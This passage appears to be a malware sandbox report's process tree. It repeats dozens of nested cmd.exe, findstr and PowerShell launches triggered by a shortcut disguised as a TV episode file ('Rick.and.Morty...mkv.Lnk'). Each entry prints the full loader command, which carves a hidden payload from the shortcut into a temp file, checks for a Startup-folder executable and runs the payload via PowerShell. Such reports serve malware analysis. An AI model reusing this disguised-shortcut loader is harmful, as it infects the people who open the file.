        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        92⤵
        
        PID:5924
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0828" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        93⤵
        
        PID:2488
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        93⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5828
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        94⤵
        
        PID:2656
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0884" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        95⤵
        
        PID:224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        95⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3528
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        96⤵
        
        PID:4868
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0942" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        97⤵
        
        PID:3136
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        97⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5692
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        98⤵
        
        PID:4748
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0005" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        99⤵
        
        PID:4976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        99⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6140
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        100⤵
        
        PID:5736
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0061" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        101⤵
        
        PID:5076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        101⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3864
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        102⤵
        
        PID:5944
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0120" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        103⤵
        
        PID:3976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        103⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4304
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        104⤵
        
        PID:4596
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0173" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        105⤵
        
        PID:3996
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        105⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4272
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        106⤵
        
        PID:2616
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0222" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        107⤵
        
        PID:4028
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        107⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1664
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        108⤵
        
        PID:1704
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0275" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        109⤵
        
        PID:1356
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        109⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4128
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        110⤵
        
        PID:2504
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0330" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        111⤵
        
        PID:4396
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        111⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1804
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        112⤵
        
        PID:2540
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0386" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        113⤵
        
        PID:4628
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        113⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1068
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        114⤵
        
        PID:1044
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0445" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        115⤵
        
        PID:3988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        115⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1932
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        116⤵
        
        PID:2120
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0501" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        117⤵
        
        PID:932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        117⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:956
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        118⤵
        
        PID:4904
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0551" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        119⤵
        
        PID:5260
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        119⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4784
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        120⤵
        
        PID:1176
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0614" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        121⤵
        
        PID:5280
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        121⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2980
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        122⤵
        
        PID:4644
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0665" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        123⤵
        
        PID:812
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        123⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2864
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        124⤵
        
        PID:5360
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0722" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        125⤵
        
        PID:1152
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        125⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3732
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        126⤵
        
        PID:4564
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0778" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        127⤵
        
        PID:2972
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        127⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:6060
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        128⤵
        
        PID:5336
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0833" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        129⤵
        
        PID:3392
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        129⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1356
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        130⤵
        
        PID:2552
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0889" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        131⤵
        
        PID:2368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        131⤵
        
        PID:3128
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        132⤵
        
        PID:3548
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0948" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        133⤵
        
        PID:2748
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        133⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2188
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        134⤵
        
        PID:2488
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0008" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        135⤵
        
        PID:1120
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        135⤵
        
        PID:4612
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        136⤵
        
        PID:2076
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0062" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        137⤵
        
        PID:836
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        137⤵
        
        PID:2272
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        138⤵
        
        PID:4792
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0126" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        139⤵
        
        PID:252
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        139⤵
        
        PID:4896
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        140⤵
        
        PID:2064
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0187" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        141⤵
        
        PID:5872
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        141⤵
        
        PID:5280
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        142⤵
        
        PID:784
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0255" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        143⤵
        
        PID:3540
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        143⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4188
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        144⤵
        
        PID:4584
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0317" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        145⤵
        
        PID:5096
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        145⤵
        
        PID:5628
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        146⤵
        
        PID:448
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0375" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        147⤵
        
        PID:4624
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        147⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1644
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        148⤵
        
        PID:4400
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0439" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        149⤵
        
        PID:1968
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        149⤵
        
        PID:2516
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        150⤵
        
        PID:4348
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0501" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        151⤵
        
        PID:4540
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        151⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2368
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        152⤵
        
        PID:2664
        
